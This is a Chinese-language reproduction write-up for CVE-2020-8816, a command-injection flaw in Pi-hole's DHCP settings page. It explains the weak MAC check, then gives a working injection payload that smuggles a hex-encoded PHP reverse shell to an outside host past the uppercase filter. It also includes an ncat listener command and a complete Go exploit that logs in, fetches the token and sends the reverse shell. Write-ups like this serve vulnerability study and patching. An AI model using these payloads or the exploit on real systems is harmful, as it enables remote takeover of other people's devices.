(CVE 2020-8816)Pi-hole 远程代码执行漏洞

一、漏洞简介

二、漏洞影响

Pi-hole \<= 4.3.2

三、复现过程

漏洞分析

./scripts/pi-hole/php/savesettings.php

{
  // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
  return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1);    
}

$mac = $_POST["AddMAC"];

if(!validMAC($mac)) {...}

$mac = strtoupper($mac);

if(isset($_POST["addstatic"])) {
    ...
    exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);
    ...
}

if(isset($_POST["removestatic"])) {
    ...
    exec("sudo pihole -a removestaticdhcp ".$mac);
    ...
}

注意到,在validMAC函数中,只使用preg_match对MAC地址的格式进行了检查,而preg_match函数的作用是根据正则表达式的模式对字符串进行搜索匹配,并返回匹配字数。因此,只要用户的输入中存在MAC地址,就可以通过检查。

通过检查的用户输入做了一次大写转换,然后直接放入了exec函数中。

最终的payload

aaaaaaaaaaaa&&SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???}&&B=${PWD#/???/???/}&&H=${B%???/?????}&&C=${PWD#/??}&&R=${C%/???/????/?????}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"));'&&

payload分析

  • 1、模拟MAC地址

```{=html}

    aaaaaaaaaaaa

根据源码中的validMAC()函数,我们得知程序会对用户输入做一个基本的MAC地址格式判断,只要由12个字母或数字组成,就可以通过验证。

-   2、获取p,h,r的小写字符

```{=html}
<!-- -->
SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???}&&B=${PWD#/???/???/}&&H=${B%???/?????}&&C=${PWD#/??}&&R=${C%/???/????/?????}

原本的payload应该为:

aaaaaaaaaaaa&&php -r ‘$sock=fsockopen(“target.0-sec.org”,2256);exec(“/bin/sh -i <&3 >&3 2>&3”);’

但是由于程序会对用户输入做一个大写转换,因此,php -r会变成PHP -R,命令无法识别,因此需要找到一种方式获取p、h、r的小写字符。

可以使用环境变量,变量名都是大写字母,而变量值中可能包含各种小写字母。

在浏览器中进入http://www.0-sec.org/admin,登陆后,选择Setting->DHCP选项卡,先试一下PATH变量,输入aaaaaaaaaaaa\$PATH,结果显示:

1.png

很遗憾,没有h字符,看来还需要找其他环境变量。我在env命令的执行结果中找到了PWD变量,输入试一下:

2.png

里面有h和r,所以,我可以使用PATH和PWD两个环境变量,获得p、h、r这几个字符。

我使用了Shell参数扩展对这两个变量值进行截取:

p:
    SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???}
h:
    B=${PWD#/???/???/}&&H=${B%???/?????}
r:
    C=${PWD#/??}&&R=${C%/???/????/?????}

根据模式匹配的规则,应该可以写出更简洁的方法,但是我的系统中好多shell选项都没有开启,考虑到通用性,我就直接选择了最傻瓜的匹配方式。

3、获得反向shell

$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"));'

先把变量换成对应的字符,注意上面的$IFS是shell的一个内定变量,默认为<space><tab><newline>,这里代替空格。

php -r 'exec(hex2bin("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"))'

然后替换hex2bin的执行结果(转义符是我后加的):

php -r 'exec(php -r \'$sock=fsockopen("target.0-sec.org",2256);exec("/bin/sh -i <&3 >&3 2>&3");\')'

这段代码就可以获得一个反向shell。

漏洞复现

在主机的命令行中输入:

ncat -nlvp 2256

进入监听模式,等待其他机器的连接。

返回虚拟机,在浏览器中打开http://192.168.1.107/admin,登录,选择Setting->DHCP选项卡,输入payload:

aaaaaaaaaaaa&&SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???}&&B=${PWD#/???/???/}&&H=${B%???/?????}&&C=${PWD#/??}&&R=${C%/???/????/?????}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"));'&&

返回主机,可以看到主机收到了连接,可以执行命令了:3.png

poc

CVE-2020-8816.go

go run CVE-2020-8816.go -host $LHOST -p $LPORT -pass admin -u http://www.0-sec.org/admin/

./CVE-2020-8816 -host $LHOST -p $LPORT -pass admin -u http://www.0-sec.org/admin/

4.png

5.png

6.png

package main


import (
    "flag"
    "log"
    "strings"
    "github.com/anaskhan96/soup"
    "encoding/hex"
    "github.com/levigross/grequests"
)

type Options struct {
    url, password, host, port string

}


var HOST string
var URL string
var PORT string
var PASSWD string

func generate_shell() string{
    payload := "php -r '$sock=fsockopen(\"HOST\", PORT);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
    payload = strings.Replace(payload, "HOST", HOST, 1)
    payload = strings.Replace(payload, "PORT", PORT, 1)
    return hex.EncodeToString([]byte(payload))
}

func extractFlags() *Options {
    urlPtr := flag.String("u", "http://10.0.0.1/admin/", "Set the Url of the admin panel")
    passPtr := flag.String("pass", "admin", "Admin Password")
    hostPtr := flag.String("host", "10.0.0.1", "Set the host for the reverse shell")
    portPtr := flag.String("p", "1337", "Set Port for the reverse shell")
    flag.Parse()

    return &Options{*urlPtr, *passPtr, *hostPtr,*portPtr}
}

func doLogin(ses *grequests.Session) *grequests.Session{
    log.Println("Logging In...")
    resp, err := ses.Post(URL+"index.php",&grequests.RequestOptions{Data: map[string]string{"pw": PASSWD}})
    if err != nil {
        log.Fatal("Error logging-in: ", err)
    }

    if resp.Ok != true {
        log.Println("Request for log-in did not return OK")
    }
    log.Println("Logged In!")
    return ses
}

func getToken(ses *grequests.Session) string{
    resp, err:= ses.Get(URL+"index.php",nil)
        if err != nil {
        log.Fatal("Error getting token: ", err)
    }

    if resp.Ok != true {
        log.Println("Request for getting token did not return OK")
    }
    html := soup.HTMLParse(resp.String())
    token := html.Find("div","id","token").Text()
    return token
}

func Exploit(ses *grequests.Session, token string, payload string) {
    full_payload := "aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(\"" + payload + "\"));'&&"
    resp,err := ses.Post(URL + "settings.php", &grequests.RequestOptions{Data: map[string]string{
        "AddMAC":full_payload,
        "field":"DHCP",
        "AddIP":"10.10.10.10", 
        "AddHostname":"10.10.10.10", 
        "addstatic":"", 
        "token":token}})
            if err != nil {
        log.Fatal("Error sending payload: ", err)
    }

    if resp.Ok != true {
        log.Println("Request for sending payload did not return OK")
    }
}


func main(){
    options := extractFlags()
    HOST = options.host
    URL = options.url
    PORT = options.port
    PASSWD = options.password 
    session := grequests.NewSession(nil)
    doLogin(session)
    log.Println("Getting Token...")
    token := getToken(session)
    log.Println("Token:",token)
    log.Println("Generating payload...")
    payload := generate_shell()
    log.Println("Payload generated:",payload)
    log.Println("Sending exploit...")
    Exploit(session, token, payload)
    log.Println("Exploit executed, check your session")
}

参考链接

https://www.freebuf.com/vuls/234533.html

https://github.com/team0se7en/CVE-2020-8816/blob/master/CVE-2020-8816.go